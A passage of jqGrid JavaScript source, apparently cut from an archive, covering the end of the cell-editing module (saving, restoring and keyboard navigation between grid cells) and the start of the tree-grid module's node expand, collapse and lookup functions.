$.jgrid.htmlEncode(v); } if(cm.editoptions && cm.editoptions.NullIfEmpty && v === "") { v = 'null'; nuem = true; } postdata[nm] = v; var opers = $t.p.prmNames, idname = opers.id, oper = opers.oper; postdata[idname] = $.jgrid.stripPref($t.p.idPrefix, $t.p.savedRow[fr].rowId); postdata[oper] = opers.editoper; postdata = $.extend(addpost,postdata); $($t).jqGrid("progressBar", {method:"show", loadtype : $t.p.loadui, htmlcontent: $.jgrid.getRegional($t,'defaults.savetext') }); $t.grid.hDiv.loading = true; $.ajax( $.extend( { url: $t.p.cellurl, data :$.jgrid.isFunction($t.p.serializeCellData) ? $t.p.serializeCellData.call($t, postdata, nm) : postdata, type: "POST", success: function (anydata, stat, result) { $($t).jqGrid("progressBar", {method:"hide", loadtype : $t.p.loadui }); $t.grid.hDiv.loading = false; if (stat === 'success') { var ret = $($t).triggerHandler("jqGridAfterSubmitCell", [$t, result, postdata[idname], nm, v, iRow, iCol]) || [true, '']; if (ret[0] === true && $.jgrid.isFunction($t.p.afterSubmitCell)) { ret = $t.p.afterSubmitCell.call($t, result, postdata[idname], nm, v, iRow, iCol); } if(ret[0] === true){ if(nuem) { v = ""; } $(cc).empty(); $($t).jqGrid("setCell",$t.p.savedRow[fr].rowId, iCol, v2, false, false, true); cc = $('td', trow).eq( iCol ); $(cc).addClass("dirty-cell"); $(trow).addClass("edited"); $($t).triggerHandler("jqGridAfterSaveCell", [$t.p.savedRow[fr].rowId, nm, v, iRow, iCol]); if ($.jgrid.isFunction($t.p.afterSaveCell)) { $t.p.afterSaveCell.call($t, $t.p.savedRow[fr].rowId, nm, v, iRow,iCol); } $t.p.savedRow.splice(0,1); } else { $($t).triggerHandler("jqGridErrorCell", [result, stat]); if ($.jgrid.isFunction($t.p.errorCell)) { $t.p.errorCell.call($t, result, stat); } else { $.jgrid.info_dialog(errors.errcap, ret[1], edit.bClose, { styleUI : $t.p.styleUI, top:p.top+30, left:p.left , onClose : function() { if(!$t.p.restoreCellonFail) { $("#"+iRow+"_"+nmjq, trow).focus(); } } }); } if( $t.p.restoreCellonFail) { $($t).jqGrid("restoreCell",iRow,iCol); } } } }, error:function(res,stat,err) { $("#lui_"+$.jgrid.jqID($t.p.id)).hide(); $t.grid.hDiv.loading = false; $($t).triggerHandler("jqGridErrorCell", [res, stat, err]); if ($.jgrid.isFunction($t.p.errorCell)) { $t.p.errorCell.call($t, res,stat,err); } else { $.jgrid.info_dialog(errors.errcap, res.status+" : "+res.statusText+"<br/>"+stat, edit.bClose, { styleUI : $t.p.styleUI, top:p.top+30, left:p.left , onClose : function() { if(!$t.p.restoreCellonFail) { $("#"+iRow+"_"+nmjq, trow).focus(); } } }); } if( $t.p.restoreCellonFail) { $($t).jqGrid("restoreCell", iRow, iCol); } } }, $.jgrid.ajaxOptions, $t.p.ajaxCellOptions || {})); } else { try { $.jgrid.info_dialog(errors.errcap,errors.nourl, edit.bClose, {styleUI : $t.p.styleUI }); if( $t.p.restoreCellonFail) { $($t).jqGrid("restoreCell", iRow, iCol); } } catch (e) {} } } if ($t.p.cellsubmit === 'clientArray') { $(cc).empty(); $($t).jqGrid("setCell", $t.p.savedRow[fr].rowId, iCol, v2, false, false, true); cc = $('td', trow).eq( iCol ); $(cc).addClass("dirty-cell"); $(trow).addClass("edited"); $($t).triggerHandler("jqGridAfterSaveCell", [$t.p.savedRow[fr].rowId, nm, v, iRow, iCol]); if ($.jgrid.isFunction($t.p.afterSaveCell)) { $t.p.afterSaveCell.call($t, $t.p.savedRow[fr].rowId, nm, v, iRow, iCol); } $t.p.savedRow.splice(0,1); } else if($t.p.cellsubmit === 'storage') { postdata = $t.p.savedRow[fr]; postdata[nm] = v; postdata[$t.p.keyName] = $.jgrid.stripPref($t.p.idPrefix, $t.p.savedRow[fr].rowId); $($t).jqGrid('updateStorageRecord', postdata) .then(function(e){ if(e.type==="complete") { $(cc).empty(); $($t).jqGrid("setCell", $t.p.savedRow[fr].rowId, iCol, v2, false, false, true); cc = $('td', trow).eq( iCol ); $(cc).addClass("dirty-cell"); $(trow).addClass("edited"); $($t).triggerHandler("jqGridAfterSaveCell", [$t.p.savedRow[fr].rowId, nm, v, iRow, iCol]); if ($.jgrid.isFunction($t.p.afterSaveCell)) { $t.p.afterSaveCell.call($t, $t.p.savedRow[fr].rowId, nm, v, iRow, iCol); } $t.p.savedRow.splice(0,1); } }) .catch(function(e) { $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }); } } else { try { if( $.jgrid.isFunction($t.p.validationCell) ) { $t.p.validationCell.call($t, $("#"+iRow+"_"+nmjq, trow), cv[1], iRow, iCol); } else { window.setTimeout(function(){ $.jgrid.info_dialog(errors.errcap,v+ " " + cv[1], edit.bClose, { styleUI : $t.p.styleUI, top:p.top+30, left:p.left , onClose : function() { if(!$t.p.restoreCellonFail) { $("#"+iRow+"_"+nmjq, trow).focus(); } } }); },50); if( $t.p.restoreCellonFail) { $($t).jqGrid("restoreCell", iRow, iCol); } } } catch (e) { alert(cv[1]); } } } else { $($t).jqGrid("restoreCell", iRow, iCol); } } window.setTimeout(function () { $("#"+$.jgrid.jqID($t.p.knv)).attr("tabindex","-1").focus(); if($t.p.ariaBody) { $($t).jqGrid('focusBodyCell', $t.p.iRow, $t.p.iCol); } },0); }); }, restoreCell : function(iRow, iCol) { return this.each(function(){ var $t= this, fr = $t.p.savedRow.length >= 1 ? 0 : null; if (!$t.grid || $t.p.cellEdit !== true ) {return;} if(fr !== null) { var trow = $($t).jqGrid("getGridRowById", $t.p.savedRow[fr].rowId), cc = $('td', trow).eq( iCol ); // datepicker fix if($.jgrid.isFunction($.fn.datepicker)) { try { $("input.hasDatepicker",cc).datepicker('hide'); } catch (e) {} } $(cc).empty().attr("tabindex","-1"); $($t).jqGrid("setCell", $t.p.savedRow[0].rowId, iCol, $t.p.savedRow[fr].v, false, false, true); $($t).triggerHandler("jqGridAfterRestoreCell", [$t.p.savedRow[fr].rowId, $t.p.savedRow[fr].v, iRow, iCol]); if ($.jgrid.isFunction($t.p.afterRestoreCell)) { $t.p.afterRestoreCell.call($t, $t.p.savedRow[fr].rowId, $t.p.savedRow[fr].v, iRow, iCol); } $t.p.savedRow.splice(0,1); } window.setTimeout(function () { $("#"+$t.p.knv).attr("tabindex","-1").focus(); if($t.p.ariaBody) { $($t).jqGrid('focusBodyCell', $t.p.iRow, $t.p.iCol); } },0); }); }, nextCell : function (iRow, iCol, event) { var ret; this.each(function (){ var $t = this, nCol=false, i; if (!$t.grid || $t.p.cellEdit !== true) {return;} // try to find next editable cell for (i=iCol+1; i<$t.p.colModel.length; i++) { if ( $t.p.colModel[i].editable ===true && (!$.jgrid.isFunction($t.p.isCellEditable) || $t.p.isCellEditable.call($t, $t.p.colModel[i].name,iRow,i))) { nCol = i; break; } } if(nCol !== false) { ret = true; $($t).jqGrid("editCell", iRow, nCol, true, event); } else { ret = false; if ($t.p.savedRow.length >0) { $($t).jqGrid("saveCell",iRow,iCol); } } }); return ret; }, prevCell : function (iRow, iCol, event) { var ret; this.each(function (){ var $t = this, nCol=false, i; if (!$t.grid || $t.p.cellEdit !== true) {return false;} // try to find next editable cell for (i=iCol-1; i>=0; i--) { if ( $t.p.colModel[i].editable ===true && (!$.jgrid.isFunction($t.p.isCellEditable) || $t.p.isCellEditable.call($t, $t.p.colModel[i].name, iRow,i))) { nCol = i; break; } } if(nCol !== false) { ret = true; $($t).jqGrid("editCell", iRow, nCol, true, event); } else { ret = false; if ($t.p.savedRow.length >0) { $($t).jqGrid("saveCell",iRow,iCol); } } }); return ret; }, GridNav : function() { return this.each(function () { var $t = this; if (!$t.grid || $t.p.cellEdit !== true ) {return;} // trick to process keydown on non input elements $t.p.knv = $t.p.id + "_kn"; var selection = $("<div style='position:fixed;top:0px;width:1px;height:1px;' tabindex='0'><div tabindex='-1' style='width:1px;height:1px;' id='"+$t.p.knv+"'></div></div>"), i, kdir; function scrollGrid(iR, iC, tp){ if (tp.slice(0,1)==='v') { var ch = $($t.grid.bDiv)[0].clientHeight, st = $($t.grid.bDiv)[0].scrollTop, nROT = $t.rows[iR].offsetTop+$t.rows[iR].clientHeight, pROT = $t.rows[iR].offsetTop; if(tp === 'vd') { if(nROT >= ch) { $($t.grid.bDiv)[0].scrollTop = $($t.grid.bDiv)[0].scrollTop + $t.rows[iR].clientHeight; } } if(tp === 'vu'){ if (pROT < st ) { $($t.grid.bDiv)[0].scrollTop = $($t.grid.bDiv)[0].scrollTop - $t.rows[iR].clientHeight; } } } if(tp==='h') { var cw = $($t.grid.bDiv)[0].clientWidth, sl = $($t.grid.bDiv)[0].scrollLeft, nCOL = $t.rows[iR].cells[iC].offsetLeft+$t.rows[iR].cells[iC].clientWidth, pCOL = $t.rows[iR].cells[iC].offsetLeft; if(nCOL >= cw+parseInt(sl,10)) { $($t.grid.bDiv)[0].scrollLeft = $($t.grid.bDiv)[0].scrollLeft + $t.rows[iR].cells[iC].clientWidth; } else if (pCOL < sl) { $($t.grid.bDiv)[0].scrollLeft = $($t.grid.bDiv)[0].scrollLeft - $t.rows[iR].cells[iC].clientWidth; } } } function findNextVisible(iC,act){ var ind, i; if(act === 'lft') { ind = iC+1; for (i=iC;i>=0;i--){ if ($t.p.colModel[i].hidden !== true) { ind = i; break; } } } if(act === 'rgt') { ind = iC-1; for (i=iC; i<$t.p.colModel.length;i++){ if ($t.p.colModel[i].hidden !== true) { ind = i; break; } } } return ind; } $(selection).insertBefore($t.grid.cDiv); $("#"+$t.p.knv) .focus() .keydown(function (e){ kdir = e.keyCode; if($t.p.direction === "rtl") { if(kdir===37) { kdir = 39;} else if (kdir===39) { kdir = 37; } } switch (kdir) { case 38: if ($t.p.iRow-1 >0 ) { scrollGrid($t.p.iRow-1,$t.p.iCol,'vu'); $($t).jqGrid("editCell",$t.p.iRow-1,$t.p.iCol,false,e); } break; case 40 : if ($t.p.iRow+1 <= $t.rows.length-1) { scrollGrid($t.p.iRow+1,$t.p.iCol,'vd'); $($t).jqGrid("editCell",$t.p.iRow+1,$t.p.iCol,false,e); } break; case 37 : if ($t.p.iCol -1 >= 0) { i = findNextVisible($t.p.iCol-1,'lft'); scrollGrid($t.p.iRow, i,'h'); $($t).jqGrid("editCell",$t.p.iRow, i,false,e); } break; case 39 : if ($t.p.iCol +1 <= $t.p.colModel.length-1) { i = findNextVisible($t.p.iCol+1,'rgt'); scrollGrid($t.p.iRow,i,'h'); $($t).jqGrid("editCell",$t.p.iRow,i,false,e); } break; case 13: if (parseInt($t.p.iCol,10)>=0 && parseInt($t.p.iRow,10)>=0) { e.preventDefault(); $($t).jqGrid("editCell",$t.p.iRow,$t.p.iCol,true,e); } break; default : return true; } return false; }); }); }, getChangedCells : function (mthd) { var ret=[]; if (!mthd) {mthd='all';} this.each(function(){ var $t= this,nm; if (!$t.grid || $t.p.cellEdit !== true ) {return;} $($t.rows).each(function(j){ var res = {}; if ($(this).hasClass("edited")) { $('td',this).each( function(i) { nm = $t.p.colModel[i].name; if ( nm !== 'cb' && nm !== 'subgrid' && nm !=='sc') { if (mthd==='dirty') { if ($(this).hasClass('dirty-cell')) { try { res[nm] = $.unformat.call($t,this,{rowId:$t.rows[j].id, colModel:$t.p.colModel[i]},i); } catch (e){ res[nm] = $.jgrid.htmlDecode($(this).html()); } } } else { try { res[nm] = $.unformat.call($t,this,{rowId:$t.rows[j].id,colModel:$t.p.colModel[i]},i); } catch (e) { res[nm] = $.jgrid.htmlDecode($(this).html()); } } } }); res.id = this.id; ret.push(res); } }); }); return ret; } /// end cell editing }); //module end })); grid.treegrid.js000064400000100661151677266200007653 0ustar00/*jshint eqeqeq:false */ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "./grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { "use strict"; //module begin $.jgrid.extend({ setTreeNode : function(i, len){ return this.each(function(){ var $t = this; if( !$t.grid || !$t.p.treeGrid ) {return;} var expCol = $t.p.expColInd, expanded = $t.p.treeReader.expanded_field, isLeaf = $t.p.treeReader.leaf_field, level = $t.p.treeReader.level_field, icon = $t.p.treeReader.icon_field, loaded = $t.p.treeReader.loaded, lft, rgt, curLevel, ident,lftpos, twrap, ldat, lf, common = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].common, index = i; $($t).triggerHandler("jqGridBeforeSetTreeNode", [index, len]); if($.jgrid.isFunction($t.p.beforeSetTreeNode)) { $t.p.beforeSetTreeNode.call($t, index, len); } while(i<len) { var ind = $.jgrid.stripPref($t.p.idPrefix, $t.rows[i].id), dind = $t.p._index[ind], expan; ldat = $t.p.data[dind]; //$t.rows[i].level = ldat[level]; if($t.p.treeGridModel === 'nested') { if(!ldat[isLeaf]) { lft = parseInt(ldat[$t.p.treeReader.left_field],10); rgt = parseInt(ldat[$t.p.treeReader.right_field],10); // NS Model ldat[isLeaf] = (rgt === lft+1) ? 'true' : 'false'; $t.rows[i].cells[$t.p._treeleafpos].innerHTML = ldat[isLeaf]; } } //else { //row.parent_id = rd[$t.p.treeReader.parent_id_field]; //} curLevel = parseInt(ldat[level],10); if($t.p.tree_root_level === 0) { ident = curLevel+1; lftpos = curLevel; } else { ident = curLevel; lftpos = curLevel -1; } twrap = "<div class='tree-wrap tree-wrap-"+$t.p.direction+"' style='width:"+(ident*18)+"px;'>"; twrap += "<div style='"+($t.p.direction==="rtl" ? "right:" : "left:")+(lftpos*18)+"px;' class='"+common.icon_base+" "; if(ldat[loaded] !== undefined) { if(ldat[loaded]==="true" || ldat[loaded]===true) { ldat[loaded] = true; } else { ldat[loaded] = false; } } if(ldat[isLeaf] === "true" || ldat[isLeaf] === true) { twrap += ((ldat[icon] !== undefined && ldat[icon] !== "") ? ldat[icon] : $t.p.treeIcons.leaf)+" tree-leaf treeclick"; ldat[isLeaf] = true; lf="leaf"; } else { ldat[isLeaf] = false; lf=""; } ldat[expanded] = ((ldat[expanded] === "true" || ldat[expanded] === true) ? true : false) && (ldat[loaded] || ldat[loaded] === undefined); if(ldat[expanded] === false) { twrap += ((ldat[isLeaf] === true) ? "'" : $t.p.treeIcons.plus+" tree-plus treeclick'"); } else { twrap += ((ldat[isLeaf] === true) ? "'" : $t.p.treeIcons.minus+" tree-minus treeclick'"); } twrap += "></div></div>"; $($t.rows[i].cells[expCol]).wrapInner("<span class='cell-wrapper"+lf+"'></span>").prepend(twrap); if(curLevel !== parseInt($t.p.tree_root_level,10)) { //var pn = $($t).jqGrid('getNodeParent',ldat); //expan = pn && pn.hasOwnProperty(expanded) ? pn[expanded] : true; expan = $($t).jqGrid('isVisibleNode',ldat); // overhead if( !expan ){ $($t.rows[i]).css("display","none"); } } $($t.rows[i].cells[expCol]) .find("div.treeclick") .on("click",function(e){ var target = e.target || e.srcElement, ind2 =$.jgrid.stripPref($t.p.idPrefix,$(target,$t.rows).closest("tr.jqgrow")[0].id), pos = $t.p._index[ind2]; if(!$t.p.data[pos][isLeaf]){ if($t.p.data[pos][expanded]){ $($t).jqGrid("collapseRow",$t.p.data[pos]); $($t).jqGrid("collapseNode",$t.p.data[pos]); } else { $($t).jqGrid("expandRow",$t.p.data[pos]); $($t).jqGrid("expandNode",$t.p.data[pos]); } } //return false; }); if($t.p.ExpandColClick === true) { $($t.rows[i].cells[expCol]) .find("span.cell-wrapper") .css("cursor","pointer") .on("click",function(e) { var target = e.target || e.srcElement, ind2 =$.jgrid.stripPref($t.p.idPrefix,$(target,$t.rows).closest("tr.jqgrow")[0].id), pos = $t.p._index[ind2]; if(!$t.p.data[pos][isLeaf]){ if($t.p.data[pos][expanded]){ $($t).jqGrid("collapseRow",$t.p.data[pos]); $($t).jqGrid("collapseNode",$t.p.data[pos]); } else { $($t).jqGrid("expandRow",$t.p.data[pos]); $($t).jqGrid("expandNode",$t.p.data[pos]); } } $($t).jqGrid("setSelection",ind2); //return false; }); } i++; } $($t).triggerHandler("jqGridAfterSetTreeNode", [index, len]); if($.jgrid.isFunction($t.p.afterSetTreeNode)) { $t.p.afterSetTreeNode.call($t, index, len); } }); }, setTreeGrid : function() { return this.each(function (){ var $t = this, i=0, pico, ecol = false, nm, key, tkey, dupcols=[], classes = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].treegrid; if(!$t.p.treeGrid) {return;} if(!$t.p.treedatatype ) {$.extend($t.p,{treedatatype: $t.p.datatype});} if($t.p.loadonce) { $t.p.treedatatype = 'local'; } $t.p.subGrid = false;$t.p.altRows =false; //bvn if (!$t.p.treeGrid_bigData) { $t.p.pgbuttons = false; $t.p.pginput = false; $t.p.rowList = []; } $t.p.gridview = true; //bvn if($t.p.rowTotal === null && !$t.p.treeGrid_bigData ) { $t.p.rowNum = 10000; } $t.p.multiselect = false; // $t.p.rowList = []; $t.p.expColInd = 0; pico = classes.icon_plus; if($t.p.styleUI === 'jQueryUI') { pico += ($t.p.direction==="rtl" ? 'w' : 'e'); } $t.p.treeIcons = $.extend({plus:pico, minus: classes.icon_minus, leaf: classes.icon_leaf},$t.p.treeIcons || {}); if($t.p.treeGridModel === 'nested') { $t.p.treeReader = $.extend({ level_field: "level", left_field:"lft", right_field: "rgt", leaf_field: "isLeaf", expanded_field: "expanded", loaded: "loaded", icon_field: "icon" },$t.p.treeReader); } else if($t.p.treeGridModel === 'adjacency') { $t.p.treeReader = $.extend({ level_field: "level", parent_id_field: "parent", leaf_field: "isLeaf", expanded_field: "expanded", loaded: "loaded", icon_field: "icon" },$t.p.treeReader ); } for ( key in $t.p.colModel){ if($t.p.colModel.hasOwnProperty(key)) { nm = $t.p.colModel[key].name; if( nm === $t.p.ExpandColumn && !ecol ) { ecol = true; $t.p.expColInd = i; } i++; // if( nm === $t.p.treeReader.level_field || nm === $t.p.treeReader.left_field || nm === $t.p.treeReader.right_field) { $t.p.colModel[key].sorttype = "integer"; } for(tkey in $t.p.treeReader) { if($t.p.treeReader.hasOwnProperty(tkey) && $t.p.treeReader[tkey] === nm) { dupcols.push(nm); } } } } $.each($t.p.treeReader,function(j,n){ if(n && $.inArray(n, dupcols) === -1){ if(j==='leaf_field') { $t.p._treeleafpos= i; } i++; $t.p.colNames.push(n); $t.p.colModel.push({name:n,width:1,hidden:true,sortable:false,resizable:false,hidedlg:true,editable:true,search:false}); } }); }); }, expandRow: function (record){ this.each(function(){ var $t = this, $rootpages; //bvn if (!$t.p.treeGrid_bigData) { $rootpages = $t.p.lastpage; } if(!$t.grid || !$t.p.treeGrid) {return;} var childern = $($t).jqGrid("getNodeChildren",record), //if ($($t).jqGrid("isVisibleNode",record)) { expanded = $t.p.treeReader.expanded_field, rowid = record[$t.p.localReader.id], ret = $($t).triggerHandler("jqGridBeforeExpandTreeGridRow", [rowid, record, childern]); if(ret === undefined ) { ret = true; } if(ret && $.jgrid.isFunction($t.p.beforeExpandTreeGridRow)) { ret = $t.p.beforeExpandTreeGridRow.call($t, rowid, record, childern); } if( ret === false ) { return; } $(childern).each(function(){ var id = $t.p.idPrefix + $.jgrid.getAccessor(this,$t.p.localReader.id); $($($t).jqGrid('getGridRowById', id)).css("display",""); if(this[expanded]) { $($t).jqGrid("expandRow",this); } }); $($t).triggerHandler("jqGridAfterExpandTreeGridRow", [rowid, record, childern]); if($.jgrid.isFunction($t.p.afterExpandTreeGridRow)) { $t.p.afterExpandTreeGridRow.call($t, rowid, record, childern); } //bvn if (!$t.p.treeGrid_bigData) { $t.p.lastpage = $rootpages; } //} }); }, collapseRow : function (record) { this.each(function(){ var $t = this; if(!$t.grid || !$t.p.treeGrid) {return;} var childern = $($t).jqGrid("getNodeChildren",record), expanded = $t.p.treeReader.expanded_field, rowid = record[$t.p.localReader.id], ret = $($t).triggerHandler("jqGridBeforeCollapseTreeGridRow", [rowid, record, childern]); if(ret === undefined ) { ret = true; } if(ret && $.jgrid.isFunction($t.p.beforeCollapseTreeGridRow)) { ret = $t.p.beforeCollapseTreeGridRow.call($t, rowid, record, childern); } if( ret === false ) { return; } $(childern).each(function(){ var id = $t.p.idPrefix + $.jgrid.getAccessor(this,$t.p.localReader.id); $($($t).jqGrid('getGridRowById', id)).css("display","none"); if(this[expanded]){ $($t).jqGrid("collapseRow",this); } }); $($t).triggerHandler("jqGridAfterCollapseTreeGridRow", [rowid, record, childern]); if($.jgrid.isFunction($t.p.afterCollapseTreeGridRow)) { $t.p.afterCollapseTreeGridRow.call($t, rowid, record, childern); } }); }, // NS ,adjacency models getRootNodes : function() { var result = []; this.each(function(){ var $t = this, level, parent_id, view = $t.p.data; if(!$t.grid || !$t.p.treeGrid) {return;} switch ($t.p.treeGridModel) { case 'nested' : level = $t.p.treeReader.level_field; $(view).each(function() { if(parseInt(this[level],10) === parseInt($t.p.tree_root_level,10)) { result.push(this); } }); break; case 'adjacency' : parent_id = $t.p.treeReader.parent_id_field; $(view).each(function(){ if(this[parent_id] === null || String(this[parent_id]).toLowerCase() === "null") { result.push(this); } }); break; } }); return result; }, getNodeDepth : function(rc) { var ret = null; this.each(function(){ if(!this.grid || !this.p.treeGrid) {return;} var $t = this; switch ($t.p.treeGridModel) { case 'nested' : var level = $t.p.treeReader.level_field; ret = parseInt(rc[level],10) - parseInt($t.p.tree_root_level,10); break; case 'adjacency' : ret = $($t).jqGrid("getNodeAncestors",rc).length; break; } }); return ret; }, getNodeParent : function(rc) { var result = null; this.each(function(){ var $t = this; if(!$t.grid || !$t.p.treeGrid) {return;} switch ($t.p.treeGridModel) { case 'nested' : var lftc = $t.p.treeReader.left_field, rgtc = $t.p.treeReader.right_field, levelc = $t.p.treeReader.level_field, lft = parseInt(rc[lftc],10), rgt = parseInt(rc[rgtc],10), level = parseInt(rc[levelc],10); $(this.p.data).each(function(){ if(parseInt(this[levelc],10) === level-1 && parseInt(this[lftc],10) < lft && parseInt(this[rgtc],10) > rgt) { result = this; return false; } }); break; case 'adjacency' : var parent_id = $t.p.treeReader.parent_id_field, dtid = $t.p.localReader.id, ind = rc[dtid], pos = $t.p._index[ind]; while(pos--) { if( String( $t.p.data[pos][dtid]) === String( $.jgrid.stripPref($t.p.idPrefix, rc[parent_id]) ) ) { result = $t.p.data[pos]; break; } } break; } }); return result; }, getNodeChildren : function(rc ) { var result = []; this.each(function(){ var $t = this; if(!$t.grid || !$t.p.treeGrid) {return;} var i, len = this.p.data.length, row; switch ($t.p.treeGridModel) { case 'nested' : var lftc = $t.p.treeReader.left_field, rgtc = $t.p.treeReader.right_field, levelc = $t.p.treeReader.level_field, lft = parseInt(rc[lftc],10), rgt = parseInt(rc[rgtc],10), level = parseInt(rc[levelc],10); for(i=0; i < len; i++) { row = $t.p.data[i]; if(row && parseInt(row[levelc],10) === level+1 && parseInt(row[lftc],10) > lft && parseInt(row[rgtc],10) < rgt) { result.push(row); } } break; case 'adjacency' : var parent_id = $t.p.treeReader.parent_id_field, dtid = $t.p.localReader.id; for(i=0; i < len; i++) { row = $t.p.data[i]; if(row && String(row[parent_id]) === String( $.jgrid.stripPref($t.p.idPrefix, rc[dtid]) ) ) { result.push(row); } } break; } }); return result; }, getFullTreeNode : function(rc, expand) { var result = []; this.each(function(){ var $t = this, len,expanded = $t.p.treeReader.expanded_field; if(!$t.grid || !$t.p.treeGrid) {return;} if(expand == null || typeof expand !== 'boolean') { expand = false; } switch ($t.p.treeGridModel) { case 'nested' : var lftc = $t.p.treeReader.left_field, rgtc = $t.p.treeReader.right_field, levelc = $t.p.treeReader.level_field, lft = parseInt(rc[lftc],10), rgt = parseInt(rc[rgtc],10), level = parseInt(rc[levelc],10); $(this.p.data).each(function(){ if(parseInt(this[levelc],10) >= level && parseInt(this[lftc],10) >= lft && parseInt(this[lftc],10) <= rgt) { if(expand) { this[expanded] = true; } result.push(this); } }); break; case 'adjacency' : if(rc) { result.push(rc); var parent_id = $t.p.treeReader.parent_id_field, dtid = $t.p.localReader.id; $(this.p.data).each(function(i){ len = result.length; for (i = 0; i < len; i++) { if ( String( $.jgrid.stripPref($t.p.idPrefix, result[i][dtid]) ) === String( this[parent_id] ) ) { if(expand) { this[expanded] = true; } result.push(this); break; } } }); } break; } }); return result; }, // End NS, adjacency Model getNodeAncestors : function(rc, reverse, expanded) { var ancestors = []; if(reverse === undefined ) { reverse = false; } this.each(function(){ if(!this.grid || !this.p.treeGrid) {return;} if(expanded === undefined ) { expanded = false; } else { expanded = this.p.treeReader.expanded_field; } var parent = $(this).jqGrid("getNodeParent",rc); while (parent) { if(expanded) { try{ parent[expanded] = true; } catch (etn) {} } if(reverse) { ancestors.unshift(parent); } else { ancestors.push(parent); } parent = $(this).jqGrid("getNodeParent",parent); } }); return ancestors; }, isVisibleNode : function(rc) { var result = true; this.each(function(){ var $t = this; if(!$t.grid || !$t.p.treeGrid) {return;} var ancestors = $($t).jqGrid("getNodeAncestors",rc), expanded = $t.p.treeReader.expanded_field; $(ancestors).each(function(){ result = result && this[expanded]; if(!result) {return false;} }); }); return result; }, isNodeLoaded : function(rc) { var result; this.each(function(){ var $t = this; if(!$t.grid || !$t.p.treeGrid) {return;} var isLeaf = $t.p.treeReader.leaf_field, loaded = $t.p.treeReader.loaded; if(rc !== undefined ) { if(rc[loaded] !== undefined) { result = rc[loaded]; } else if( rc[isLeaf] || $($t).jqGrid("getNodeChildren",rc).length > 0){ result = true; } else { result = false; } } else { result = false; } }); return result; }, setLeaf : function (rc, state, collapsed) { return this.each(function(){ var id = $.jgrid.getAccessor(rc,this.p.localReader.id), rc1 = $("#"+id,this.grid.bDiv)[0], isLeaf = this.p.treeReader.leaf_field; try { var dr = this.p._index[id]; if(dr != null) { this.p.data[dr][isLeaf] = state; } } catch(E){} if(state === true) { // set it in data $("div.treeclick",rc1).removeClass(this.p.treeIcons.minus+" tree-minus "+this.p.treeIcons.plus+" tree-plus").addClass(this.p.treeIcons.leaf +" tree-leaf"); } else if(state === false) { var ico = this.p.treeIcons.minus+" tree-minus"; if(collapsed) { ico = this.p.treeIcons.plus+" tree-plus"; } $("div.treeclick",rc1).removeClass(this.p.treeIcons.leaf +" tree-leaf").addClass( ico ); } }); }, reloadNode: function(rc, reloadcurrent) { return this.each(function(){ if(!this.grid || !this.p.treeGrid) {return;} var rid = this.p.localReader.id, currselection = this.p.selrow; $(this).jqGrid("delChildren", rc[rid]); if(reloadcurrent=== undefined) { reloadcurrent = false; } if(!reloadcurrent) { if(!jQuery._data( this, "events" ).jqGridAfterSetTreeNode) { $(this).on("jqGridAfterSetTreeNode.reloadNode", function(){ var isLeaf = this.p.treeReader.leaf_field; if(this.p.reloadnode ) { var rc = this.p.reloadnode, chld = $(this).jqGrid('getNodeChildren', rc); if(rc[isLeaf] && chld.length) { $(this).jqGrid('setLeaf', rc, false); } else if(!rc[isLeaf] && chld.length === 0) { $(this).jqGrid('setLeaf', rc, true); } } this.p.reloadnode = false; }); } } var expanded = this.p.treeReader.expanded_field, parent = this.p.treeReader.parent_id_field, loaded = this.p.treeReader.loaded, level = this.p.treeReader.level_field, isLeaf = this.p.treeReader.leaf_field, lft = this.p.treeReader.left_field, rgt = this.p.treeReader.right_field; var id = $.jgrid.getAccessor(rc,this.p.localReader.id), rc1 = $("#"+id,this.grid.bDiv)[0]; rc[expanded] = true; if(!rc[isLeaf]) { $("div.treeclick",rc1).removeClass(this.p.treeIcons.plus+" tree-plus").addClass(this.p.treeIcons.minus+" tree-minus"); } this.p.treeANode = rc1.rowIndex; this.p.datatype = this.p.treedatatype; this.p.reloadnode = rc; if(reloadcurrent) { this.p.treeANode = rc1.rowIndex > 0 ? rc1.rowIndex - 1 : 1; $(this).jqGrid('delRowData', id); } if(this.p.treeGridModel === 'nested') { $(this).jqGrid("setGridParam",{postData:{nodeid:id,n_left:rc[lft],n_right:rc[rgt],n_level:rc[level]}}); } else { $(this).jqGrid("setGridParam",{postData:{nodeid:id,parentid:rc[parent],n_level:rc[level]}} ); } $(this).trigger("reloadGrid"); rc[loaded] = true; if(this.p.treeGridModel === 'nested') { $(this).jqGrid("setGridParam",{selrow: currselection, postData:{nodeid:'',n_left:'',n_right:'',n_level:''}}); } else { $(this).jqGrid("setGridParam",{selrow: currselection, postData:{nodeid:'',parentid:'',n_level:''}}); } }); }, expandNode : function(rc) { return this.each(function(){ if(!this.grid || !this.p.treeGrid) {return;} var $t = this, expanded = this.p.treeReader.expanded_field, parent = this.p.treeReader.parent_id_field, loaded = this.p.treeReader.loaded, level = this.p.treeReader.level_field, lft = this.p.treeReader.left_field, rgt = this.p.treeReader.right_field; if(!rc[expanded]) { var id = $.jgrid.getAccessor(rc,this.p.localReader.id), rc1 = $("#" + this.p.idPrefix + $.jgrid.jqID(id),this.grid.bDiv)[0], position = this.p._index[id], ret = $($t).triggerHandler("jqGridBeforeExpandTreeGridNode", [id, rc]); if(ret === undefined ) { ret = true; } if( ret && $.jgrid.isFunction(this.p.beforeExpandTreeGridNode) ) { ret = this.p.beforeExpandTreeGridNode.call(this, id, rc ); } if( ret === false ) { return; } if( $(this).jqGrid("isNodeLoaded",this.p.data[position]) ) { rc[expanded] = true; $("div.treeclick",rc1).removeClass(this.p.treeIcons.plus+" tree-plus").addClass(this.p.treeIcons.minus+" tree-minus"); } else if (!this.grid.hDiv.loading) { rc[expanded] = true; $("div.treeclick",rc1).removeClass(this.p.treeIcons.plus+" tree-plus").addClass(this.p.treeIcons.minus+" tree-minus"); this.p.treeANode = rc1.rowIndex; this.p.datatype = this.p.treedatatype; if(this.p.treeGridModel === 'nested') { $(this).jqGrid("setGridParam",{postData:{nodeid:id,n_left:rc[lft],n_right:rc[rgt],n_level:rc[level]}}); } else { $(this).jqGrid("setGridParam",{postData:{nodeid:id,parentid:rc[parent],n_level:rc[level]}} ); } $(this).trigger("reloadGrid"); rc[loaded] 